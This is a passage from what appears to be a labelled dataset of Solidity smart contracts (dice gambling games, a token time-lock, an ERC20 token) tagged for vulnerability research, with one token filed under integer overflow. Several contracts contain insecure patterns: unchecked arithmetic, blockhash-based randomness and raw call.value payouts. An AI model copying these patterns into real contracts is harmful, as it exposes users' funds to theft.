} } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } return mint; } } // contract Dice is usingOraclize { uint public pwin = 5000; //probability of winning (10000 = 100%) uint public edge = 200; //edge percentage (10000 = 100%) uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint public minBet = 1 finney; uint public maxInvestors = 5; //maximum number of investors uint public ownerEdge = 50; //edge percentage (10000 = 100%) uint public divestFee = 50; //divest fee percentage (10000 = 100%) uint constant safeGas = 25000; uint constant oraclizeGasLimit = 150000; struct Investor { address user; uint capital; } mapping(uint => Investor) investors; //starts at 1 uint public numInvestors = 0; mapping(address => uint) investorIDs; uint public invested = 0; address owner; bool public isStopped; struct Bet { address user; uint bet; // amount uint roll; // result uint fee; } mapping (bytes32 => Bet) bets; bytes32[] betsKeys; uint public amountWagered = 0; int public profit = 0; int public takenProfit = 0; int public ownerProfit = 0; function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint ownerEdgeInitial, uint divestFeeInitial) { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); pwin = pwinInitial; edge = edgeInitial; maxWin = maxWinInitial; minBet = minBetInitial; maxInvestors = maxInvestorsInitial; ownerEdge = ownerEdgeInitial; divestFee = divestFeeInitial; owner = msg.sender; } function() { bet(); } function bet() { if (isStopped) throw; uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", oraclizeGasLimit); if (msg.value < oraclizeFee) throw; uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { bytes32 myid = oraclize_query(""URL"", ""json(https://api.random.org/json-rpc/1/invoke).result.random.data.0"", 'BDXJhrVpBJ53o2CxlJRlQtZJKZqLYt5IQe+73YDS4HtNjS5HodbIB3tvfow7UquyAk085VkLnL9EpKgwqWQz7ZLdGvsQlRd2sKxIolNg9DbnfPspGqLhLbbYSVnN8CwvsjpAXcSSo3c+4cNwC90yF4oNibkvD3ytapoZ7goTSyoUYTfwSjnw3ti+HJVH7N3+c0iwOCqZjDdsGQUcX3m3S/IHWbOOQQ5osO4Lbj3Gg0x1UdNtfUzYCFY79nzYgWIQEFCuRBI0n6NBvBQW727+OsDRY0J/9/gjt8ucibHWic0=', oraclizeGasLimit); // encrypted arg: '\n{""jsonrpc"":2.0,""method"":""generateSignedIntegers"",""params"":{""apiKey"":""YOUR_API_KEY"",""n"":1,""min"":1,""max"":10000},""id"":1}' bets[myid] = Bet(msg.sender, betValue, 0, oraclizeFee); betsKeys.push(myid); } else { throw; // invalid bet size } } function numBets() constant returns(uint) { return betsKeys.length; } function minBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", oraclizeGasLimit); return oraclizeFee+minBet; } function safeSend(address addr, uint value) internal { if (!(addr.call.gas(safeGas).value(value)())){ ownerProfit += int(value); } } function __callback(bytes32 myid, string result, bytes proof) { if (msg.sender != oraclize_cbAddress()) throw; Bet thisBet = bets[myid]; if (thisBet.bet>0) { if ((isStopped == false)&&(((thisBet.bet * ((10000 - edge) - pwin)) / pwin ) <= maxWin * getBankroll() / 10000)) { uint roll = parseInt(result); if (roll<1 || roll>10000){ safeSend(thisBet.user, thisBet.bet); return; } bets[myid].roll = roll; int profitDiff; if (roll-1 < pwin) { //win uint winAmount = (thisBet.bet * (10000 - edge)) / pwin; safeSend(thisBet.user, winAmount); profitDiff = int(thisBet.bet - winAmount); } else { //lose safeSend(thisBet.user, 1); profitDiff = int(thisBet.bet) - 1; } ownerProfit += (profitDiff*int(ownerEdge))/10000; profit += profitDiff-(profitDiff*int(ownerEdge))/10000; amountWagered += thisBet.bet; } else { //bet is too big (bankroll may have changed since the bet was made) safeSend(thisBet.user, thisBet.bet); } } } function getBet(uint id) constant returns(address, uint, uint, uint) { if(id0) { rebalance(); investors[investorIDs[msg.sender]].capital += msg.value; invested += msg.value; } else { rebalance(); uint investorID = 0; if (numInvestors0) { if (investors[investorID].capital>0) { divest(investors[investorID].user, investors[investorID].capital); investorIDs[investors[investorID].user] = 0; } if (investors[investorID].capital == 0 && investorIDs[investors[investorID].user] == 0) { investors[investorID].user = msg.sender; investors[investorID].capital = msg.value; invested += msg.value; investorIDs[msg.sender] = investorID; } else { throw; } } else { throw; } } } function rebalance() private { if (takenProfit != profit) { uint newInvested = 0; uint initialBankroll = getBankroll(); for (uint i=1; i<=numInvestors; i++) { investors[i].capital = getBalance(investors[i].user); newInvested += investors[i].capital; } invested = newInvested; if (newInvested != initialBankroll && numInvestors>0) { ownerProfit += int(initialBankroll - newInvested); //give the rounding error to the first investor invested += (initialBankroll - newInvested); } takenProfit = profit; } } function divest(address user, uint amount) private { if (investorIDs[user]>0) { rebalance(); if (amount>getBalance(user)) { amount = getBalance(user); } investors[investorIDs[user]].capital -= amount; invested -= amount; uint newAmount = (amount*divestFee)/10000; // take a fee from the deinvest amount ownerProfit += int(newAmount); safeSend(user, (amount-newAmount)); } } function divest(uint amount) { if (msg.value>0) throw; divest(msg.sender, amount); } function divest() { if (msg.value>0) throw; divest(msg.sender, getBalance(msg.sender)); } function getBalance(address user) constant returns(uint) { if (investorIDs[user]>0 && invested>0) { return investors[investorIDs[user]].capital * getBankroll() / invested; } else { return 0; } } function getBankroll() constant returns(uint) { uint bankroll = uint(int(invested)+profit+ownerProfit-takenProfit); if (this.balance < bankroll){ log0(""bankroll_mismatch""); bankroll = this.balance; } return bankroll; } function getMinInvestment() constant returns(uint) { if (numInvestors 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29808000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x3bA0114790FcE0f6F7a97A304Ede46dE6bFbF0A4; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 34.sol," pragma solidity ^0.4.18; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function destruct() public onlyOwner { selfdestruct(owner); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { totalSupply = 10000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = 'Global Gold Cash'; symbol = ""GGC""; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract GlobalGoldCashToken is owned, TokenERC20 { uint256 public decimals = 18; string public tokenName; string public tokenSymbol; uint minBalanceForAccounts ; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor() public { owner = msg.sender; totalSupply = 1000000000000000000; balanceOf[owner]=totalSupply; tokenName=""Global Gold Cash""; tokenSymbol=""GGC""; } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }",./Dataset/integer overflow (OF)/,4,4 0x04797c1ae852a31665d8e512ddae33e6044ef39d_InstaDice.sol,"pragma solidity ^0.4.23; /******* https://www.pennyether.com **************/ /******* USING Registry ************************** Gives the inherting contract access to: .addressOf(bytes32): returns current address mapped to the name. [modifier] .fromOwner(): requires the sender is owner. *************************************************/ // Returned by .getRegistry() interface IRegistry { function owner() external view returns (address _addr); function addressOf(bytes32 _name) external view returns (address _addr); } contract UsingRegistry { IRegistry private registry; modifier fromOwner(){ require(msg.sender == getOwner()); _; } constructor(address _registry) public { require(_registry != 0); registry = IRegistry(_registry); } function addressOf(bytes32 _name) internal view returns(address _addr) { return registry.addressOf(_name); } function getOwner() public view returns (address _addr) { return registry.owner(); } function getRegistry() public view returns (IRegistry _addr) { return registry; } } /** This is a simple class that maintains a doubly linked list of address => uint amounts. Address balances can be added to or removed from via add() and subtract(). All balances can be obtain by calling balances(). If an address has a 0 amount, it is removed from the Ledger. Note: THIS DOES NOT TEST FOR OVERFLOWS, but it's safe to use to track Ether balances. Public methods: - [fromOwner] add() - [fromOwner] subtract() Public views: - total() - size() - balanceOf() - balances() - entries() [to manually iterate] */ contract Ledger { uint public total; // Total amount in Ledger struct Entry { // Doubly linked list tracks amount per address uint balance; address next; address prev; } mapping (address => Entry) public entries; address public owner; modifier fromOwner() { require(msg.sender==owner); _; } // Constructor sets the owner constructor(address _owner) public { owner = _owner; } /******************************************************/ /*************** OWNER METHODS ************************/ /******************************************************/ function add(address _address, uint _amt) fromOwner public { if (_address == address(0) || _amt == 0) return; Entry storage entry = entries[_address]; // If new entry, replace first entry with this one. if (entry.balance == 0) { entry.next = entries[0x0].next; entries[entries[0x0].next].prev = _address; entries[0x0].next = _address; } // Update stats. total += _amt; entry.balance += _amt; } function subtract(address _address, uint _amt) fromOwner public returns (uint _amtRemoved) { if (_address == address(0) || _amt == 0) return; Entry storage entry = entries[_address]; uint _maxAmt = entry.balance; if (_maxAmt == 0) return; if (_amt >= _maxAmt) { // Subtract the max amount, and delete entry. total -= _maxAmt; entries[entry.prev].next = entry.next; entries[entry.next].prev = entry.prev; delete entries[_address]; return _maxAmt; } else { // Subtract the amount from entry. total -= _amt; entry.balance -= _amt; return _amt; } } /******************************************************/ /*************** PUBLIC VIEWS *************************/ /******************************************************/ function size() public view returns (uint _size) { // Loop once to get the total count. Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _curEntry = entries[_curEntry.next]; _size++; } return _size; } function balanceOf(address _address) public view returns (uint _balance) { return entries[_address].balance; } function balances() public view returns (address[] _addresses, uint[] _balances) { // Populate names and addresses uint _size = size(); _addresses = new address[](_size); _balances = new uint[](_size); uint _i = 0; Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _addresses[_i] = _curEntry.next; _balances[_i] = entries[_curEntry.next].balance; _curEntry = entries[_curEntry.next]; _i++; } return (_addresses, _balances); } } /** This is a simple class that maintains a doubly linked list of addresses it has seen. Addresses can be added and removed from the set, and a full list of addresses can be obtained. Methods: - [fromOwner] .add() - [fromOwner] .remove() Views: - .size() - .has() - .addresses() */ contract AddressSet { struct Entry { // Doubly linked list bool exists; address next; address prev; } mapping (address => Entry) public entries; address public owner; modifier fromOwner() { require(msg.sender==owner); _; } // Constructor sets the owner. constructor(address _owner) public { owner = _owner; } /******************************************************/ /*************** OWNER METHODS ************************/ /******************************************************/ function add(address _address) fromOwner public returns (bool _didCreate) { // Do not allow the adding of HEAD. if (_address == address(0)) return; Entry storage entry = entries[_address]; // If already exists, do nothing. Otherwise set it. if (entry.exists) return; else entry.exists = true; // Replace first entry with this one. // Before: HEAD <-> X <-> Y // After: HEAD <-> THIS <-> X <-> Y // do: THIS.NEXT = [0].next; [0].next.prev = THIS; [0].next = THIS; THIS.prev = 0; Entry storage HEAD = entries[0x0]; entry.next = HEAD.next; entries[HEAD.next].prev = _address; HEAD.next = _address; return true; } function remove(address _address) fromOwner public returns (bool _didExist) { // Do not allow the removal of HEAD. if (_address == address(0)) return; Entry storage entry = entries[_address]; // If it doesn't exist already, there is nothing to do. if (!entry.exists) return; // Stitch together next and prev, delete entry. // Before: X <-> THIS <-> Y // After: X <-> Y // do: THIS.next.prev = this.prev; THIS.prev.next = THIS.next; entries[entry.prev].next = entry.next; entries[entry.next].prev = entry.prev; delete entries[_address]; return true; } /******************************************************/ /*************** PUBLIC VIEWS *************************/ /******************************************************/ function size() public view returns (uint _size) { // Loop once to get the total count. Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _curEntry = entries[_curEntry.next]; _size++; } return _size; } function has(address _address) public view returns (bool _exists) { return entries[_address].exists; } function addresses() public view returns (address[] _addresses) { // Populate names and addresses uint _size = size(); _addresses = new address[](_size); // Iterate forward through all entries until the end. uint _i = 0; Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _addresses[_i] = _curEntry.next; _curEntry = entries[_curEntry.next]; _i++; } return _addresses; } } /******* USING TREASURY ************************** Gives the inherting contract access to: .getTreasury(): returns current ITreasury instance [modifier] .fromTreasury(): requires the sender is current Treasury *************************************************/ // Returned by .getTreasury() interface ITreasury { function issueDividend() external returns (uint _profits); function profitsSendable() external view returns (uint _profits); } contract UsingTreasury is UsingRegistry { constructor(address _registry) UsingRegistry(_registry) public {} modifier fromTreasury(){ require(msg.sender == address(getTreasury())); _; } function getTreasury() public view returns (ITreasury) { return ITreasury(addressOf(""TREASURY"")); } } /** A simple class that manages bankroll, and maintains collateral. This class only ever sends profits the Treasury. No exceptions. - Anybody can add funding (according to whitelist) - Anybody can tell profits (balance - (funding + collateral)) to go to Treasury. - Anyone can remove their funding, so long as balance >= collateral. - Whitelist is managed by getWhitelistOwner() -- typically Admin. Exposes the following: Public Methods - addBankroll - removeBankroll - sendProfits Public Views - getCollateral - profits - profitsSent - profitsTotal - bankroll - bankrollAvailable - bankrolledBy - bankrollerTable */ contract Bankrollable is UsingTreasury { // How much profits have been sent. uint public profitsSent; // Ledger keeps track of who has bankrolled us, and for how much Ledger public ledger; // This is a copy of ledger.total(), to save gas in .bankrollAvailable() uint public bankroll; // This is the whitelist of who can call .addBankroll() AddressSet public whitelist; modifier fromWhitelistOwner(){ require(msg.sender == getWhitelistOwner()); _; } event BankrollAdded(uint time, address indexed bankroller, uint amount, uint bankroll); event BankrollRemoved(uint time, address indexed bankroller, uint amount, uint bankroll); event ProfitsSent(uint time, address indexed treasury, uint amount); event AddedToWhitelist(uint time, address indexed addr, address indexed wlOwner); event RemovedFromWhitelist(uint time, address indexed addr, address indexed wlOwner); // Constructor creates the ledger and whitelist, with self as owner. constructor(address _registry) UsingTreasury(_registry) public { ledger = new Ledger(this); whitelist = new AddressSet(this); } /*****************************************************/ /************** WHITELIST MGMT ***********************/ /*****************************************************/ function addToWhitelist(address _addr) fromWhitelistOwner public { bool _didAdd = whitelist.add(_addr); if (_didAdd) emit AddedToWhitelist(now, _addr, msg.sender); } function removeFromWhitelist(address _addr) fromWhitelistOwner public { bool _didRemove = whitelist.remove(_addr); if (_didRemove) emit RemovedFromWhitelist(now, _addr, msg.sender); } /*****************************************************/ /************** PUBLIC FUNCTIONS *********************/ /*****************************************************/ // Bankrollable contracts should be payable (to receive revenue) function () public payable {} // Increase funding by whatever value is sent function addBankroll() public payable { require(whitelist.size()==0 || whitelist.has(msg.sender)); ledger.add(msg.sender, msg.value); bankroll = ledger.total(); emit BankrollAdded(now, msg.sender, msg.value, bankroll); } // Removes up to _amount from Ledger, and sends it to msg.sender._callbackFn function removeBankroll(uint _amount, string _callbackFn) public returns (uint _recalled) { // cap amount at the balance minus collateral, or nothing at all. address _bankroller = msg.sender; uint _collateral = getCollateral(); uint _balance = address(this).balance; uint _available = _balance > _collateral ? _balance - _collateral : 0; if (_amount > _available) _amount = _available; // Try to remove _amount from ledger, get actual _amount removed. _amount = ledger.subtract(_bankroller, _amount); bankroll = ledger.total(); if (_amount == 0) return; bytes4 _sig = bytes4(keccak256(_callbackFn)); require(_bankroller.call.value(_amount)(_sig)); emit BankrollRemoved(now, _bankroller, _amount, bankroll); return _amount; } // Send any excess profits to treasury. function sendProfits() public returns (uint _profits) { int _p = profits(); if (_p <= 0) return; _profits = uint(_p); profitsSent += _profits; // Send profits to Treasury address _tr = getTreasury(); require(_tr.call.value(_profits)()); emit ProfitsSent(now, _tr, _profits); } /*****************************************************/ /************** PUBLIC VIEWS *************************/ /*****************************************************/ // Function must be overridden by inheritors to ensure collateral is kept. function getCollateral() public view returns (uint _amount); // Function must be overridden by inheritors to enable whitelist control. function getWhitelistOwner() public view returns (address _addr); // Profits are the difference between balance and threshold function profits() public view returns (int _profits) { int _balance = int(address(this).balance); int _threshold = int(bankroll + getCollateral()); return _balance - _threshold; } // How profitable this contract is, overall function profitsTotal() public view returns (int _profits) { return int(profitsSent) + profits(); } // Returns the amount that can currently be bankrolled. // - 0 if balance < collateral // - If profits: full bankroll // - If no profits: remaning bankroll: balance - collateral function bankrollAvailable() public view returns (uint _amount) { uint _balance = address(this).balance; uint _bankroll = bankroll; uint _collat = getCollateral(); // Balance is below collateral! if (_balance <= _collat) return 0; // No profits, but we have a balance over collateral. else if (_balance < _collat + _bankroll) return _balance - _collat; // Profits. Return only _bankroll else return _bankroll; } function bankrolledBy(address _addr) public view returns (uint _amount) { return ledger.balanceOf(_addr); } function bankrollerTable() public view returns (address[], uint[]) { return ledger.balances(); } } /******* USING ADMIN *********************** Gives the inherting contract access to: .getAdmin(): returns the current address of the admin [modifier] .fromAdmin: requires the sender is the admin *************************************************/ contract UsingAdmin is UsingRegistry { constructor(address _registry) UsingRegistry(_registry) public {} modifier fromAdmin(){ require(msg.sender == getAdmin()); _; } function getAdmin() public constant returns (address _addr) { return addressOf(""ADMIN""); } } /********************************************************* *********************** INSTADICE ************************ ********************************************************** UI: https://www.pennyether.com This contract allows for users to wager a limited amount on then outcome of a random roll between [1, 100]. The user may choose a number, and if the roll is less than or equal to that number, they will win a payout that is inversely proportional to the number they chose (lower numbers pay out more). When a roll is ""finalized"", it means the result was determined and the payout paid to the user if they won. Each time somebody rolls, their previous roll is finalized. Roll results are based on blockhash, and since only the last 256 blockhashes are available (who knows why it is so limited...), the user must finalize within 256 blocks or their roll loses. Note about randomness: Although using blockhash for randomness is not advised, it is perfectly acceptable if the results of the block are not worth an expected value greater than that of: (full block reward - uncle block reward) = ~.625 Eth In other words, a miner is better of mining honestly and getting a full block reward than trying to game this contract, unless the maximum bet is increased to about .625, which this contract forbids. */ contract InstaDice is Bankrollable, UsingAdmin { struct User { uint32 id; uint32 r_id; uint32 r_block; uint8 r_number; uint72 r_payout; } // These stats are updated on each roll. struct Stats { uint32 numUsers; uint32 numRolls; uint96 totalWagered; uint96 totalWon; } // Admin controlled settings struct Settings { uint64 minBet; // uint64 maxBet; // uint8 minNumber; // they get ~20x their bet uint8 maxNumber; // they get ~1.01x their bet uint16 feeBips; // each bip is .01%, eg: 100 = 1% fee. } mapping (address => User) public users; Stats stats; Settings settings; uint8 constant public version = 2; // Admin events event Created(uint time); event SettingsChanged(uint time, address indexed admin); // Events event RollWagered(uint time, uint32 indexed id, address indexed user, uint bet, uint8 number, uint payout); event RollRefunded(uint time, address indexed user, string msg, uint bet, uint8 number); event RollFinalized(uint time, uint32 indexed id, address indexed user, uint8 result, uint payout); event PayoutError(uint time, string msg); constructor(address _registry) Bankrollable(_registry) UsingAdmin(_registry) public { // populate with prev contracts' stats stats.totalWagered = 3650000000000000000; stats.totalWon = 3537855001272912000; stats.numRolls = 123; stats.numUsers = 19; // default settings settings.maxBet = .3 ether; settings.minBet = .001 ether; settings.minNumber = 5; settings.maxNumber = 98; settings.feeBips = 100; emit Created(now); } /////////////////////////////////////////////////// ////// ADMIN FUNCTIONS //////////////////////////// /////////////////////////////////////////////////// // Changes the settings function changeSettings( uint64 _minBet, uint64 _maxBet, uint8 _minNumber, uint8 _maxNumber, uint16 _feeBips ) public fromAdmin { require(_minBet <= _maxBet); // makes sense require(_maxBet <= .625 ether); // capped at (block reward - uncle reward) require(_minNumber >= 1); // not advisible, but why not require(_maxNumber <= 99); // over 100 makes no sense require(_feeBips <= 500); // max of 5% settings.minBet = _minBet; settings.maxBet = _maxBet; settings.minNumber = _minNumber; settings.maxNumber = _maxNumber; settings.feeBips = _feeBips; emit SettingsChanged(now, msg.sender); } /////////////////////////////////////////////////// ////// PUBLIC FUNCTIONS /////////////////////////// /////////////////////////////////////////////////// // Resolves the last roll for the user. // Then creates a new roll. // Gas: // Total: 56k (new), or up to 44k (repeat) // Overhead: 36k // 22k: tx overhead // 2k: SLOAD // 3k: execution // 2k: curMaxBet() // 5k: update stats // 2k: RollWagered event // New User: 20k // 20k: create user // Repeat User: 8k, 16k // 5k: update user // 3k: RollFinalized event // 8k: pay last roll function roll(uint8 _number) public payable returns (bool _success) { // Ensure bet and number are valid. if (!_validateBetOrRefund(_number)) return; // Ensure one bet per block. User memory _prevUser = users[msg.sender]; if (_prevUser.r_block == uint32(block.number)){ _errorAndRefund(""Only one bet per block allowed."", msg.value, _number); return false; } // Create and write new user data before finalizing last roll Stats memory _stats = stats; User memory _newUser = User({ id: _prevUser.id == 0 ? _stats.numUsers + 1 : _prevUser.id, r_id: _stats.numRolls + 1, r_block: uint32(block.number), r_number: _number, r_payout: computePayout(msg.value, _number) }); users[msg.sender] = _newUser; // Finalize last roll, if there was one. // This will throw if user won, but we couldn't pay. if (_prevUser.r_block != 0) _finalizePreviousRoll(_prevUser, _stats); // Increment additional stats data _stats.numUsers = _prevUser.id == 0 ? _stats.numUsers + 1 : _stats.numUsers; _stats.numRolls = stats.numRolls + 1; _stats.totalWagered = stats.totalWagered + uint96(msg.value); stats = _stats; // Save user in one write. emit RollWagered(now, _newUser.r_id, msg.sender, msg.value, _newUser.r_number, _newUser.r_payout); return true; } // Finalizes the previous roll and pays out user if they won. // Gas: 45k // 21k: tx overhead // 1k: SLOADs // 2k: execution // 8k: send winnings // 5k: update user // 5k: update stats // 3k: RollFinalized event function payoutPreviousRoll() public returns (bool _success) { // Load last roll in one SLOAD. User memory _prevUser = users[msg.sender]; // Error if on same block. if (_prevUser.r_block == uint32(block.number)){ emit PayoutError(now, ""Cannot payout roll on the same block""); return false; } // Error if nothing to payout. if (_prevUser.r_block == 0){ emit PayoutError(now, ""No roll to pay out.""); return false; } // Clear last roll data User storage _user = users[msg.sender]; _user.r_id = 0; _user.r_block = 0; _user.r_number = 0; _user.r_payout = 0; // Finalize previous roll and update stats Stats memory _stats = stats; _finalizePreviousRoll(_prevUser, _stats); stats.totalWon = _stats.totalWon; return true; } //////////////////////////////////////////////////////// ////// PRIVATE FUNCTIONS /////////////////////////////// //////////////////////////////////////////////////////// // Validates the bet, or refunds the user. function _validateBetOrRefund(uint8 _number) private returns (bool _isValid) { Settings memory _settings = settings; if (_number < _settings.minNumber) { _errorAndRefund(""Roll number too small."", msg.value, _number); return false; } if (_number > _settings.maxNumber){ _errorAndRefund(""Roll number too large."", msg.value, _number); return false; } if (msg.value < _settings.minBet){ _errorAndRefund(""Bet too small."", msg.value, _number); return false; } if (msg.value > _settings.maxBet){ _errorAndRefund(""Bet too large."", msg.value, _number); return false; } if (msg.value > curMaxBet()){ _errorAndRefund(""May be unable to payout on a win."", msg.value, _number); return false; } return true; } // Finalizes the previous roll for the _user. // This will modify _stats, but not _user. // Throws if unable to pay user on a win. function _finalizePreviousRoll(User memory _user, Stats memory _stats) private { assert(_user.r_block != uint32(block.number)); assert(_user.r_block != 0); // compute result and isWinner uint8 _result = computeResult(_user.r_block, _user.r_id); bool _isWinner = _result <= _user.r_number; if (_isWinner) { require(msg.sender.call.value(_user.r_payout)()); _stats.totalWon += _user.r_payout; } // they won and we paid, or they lost. roll is finalized. emit RollFinalized(now, _user.r_id, msg.sender, _result, _isWinner ? _user.r_payout : 0); } // Only called from above. // Refunds user the full value, and logs an error function _errorAndRefund(string _msg, uint _bet, uint8 _number) private { require(msg.sender.call.value(msg.value)()); emit RollRefunded(now, msg.sender, _msg, _bet, _number); } /////////////////////////////////////////////////// ////// PUBLIC VIEWS /////////////////////////////// /////////////////////////////////////////////////// // IMPLEMENTS: Bankrollable.getCollateral() // This contract has no collateral, as it pays out in near realtime. function getCollateral() public view returns (uint _amount) { return 0; } // IMPLEMENTS: Bankrollable.getWhitelistOwner() // Ensures contract always has at least bankroll + totalCredits. function getWhitelistOwner() public view returns (address _wlOwner) { return getAdmin(); } // Returns the largest bet such that we could pay out 10 maximum wins. // The likelihood that 10 maximum bets (with highest payouts) are won // within a short period of time are extremely low. function curMaxBet() public view returns (uint _amount) { // Return largest bet such that 10*bet*payout = bankrollable() uint _maxPayout = 10 * 100 / uint(settings.minNumber); return bankrollAvailable() / _maxPayout; } // Return the less of settings.maxBet and curMaxBet() function effectiveMaxBet() public view returns (uint _amount) { uint _curMax = curMaxBet(); return _curMax > settings.maxBet ? settings.maxBet : _curMax; } // Computes the payout amount for the current _feeBips function computePayout(uint _bet, uint _number) public view returns (uint72 _wei) { uint _feeBips = settings.feeBips; // Cast to uint, makes below math cheaper. uint _bigBet = _bet * 1e32; // Will not overflow unless _bet >> ~1e40 uint _bigPayout = (_bigBet * 100) / _number; uint _bigFee = (_bigPayout * _feeBips) / 10000; return uint72( (_bigPayout - _bigFee) / 1e32 ); } // Returns a number between 1 and 100 (inclusive) // If blockNumber is too far past, returns 101. function computeResult(uint32 _blockNumber, uint32 _id) public view returns (uint8 _result) { bytes32 _blockHash = blockhash(_blockNumber); if (_blockHash == 0) { return 101; } return uint8(uint(keccak256(_blockHash, _id)) % 100 + 1); } // Expose all Stats ///////////////////////////////// function numUsers() public view returns (uint32) { return stats.numUsers; } function numRolls() public view returns (uint32) { return stats.numRolls; } function totalWagered() public view returns (uint) { return stats.totalWagered; } function totalWon() public view returns (uint) { return stats.totalWon; } ////////////////////////////////////////////////////// // Expose all Settings /////////////////////////////// function minBet() public view returns (uint) { return settings.minBet; } function maxBet() public view returns (uint) { return settings.maxBet; } function minNumber() public view returns 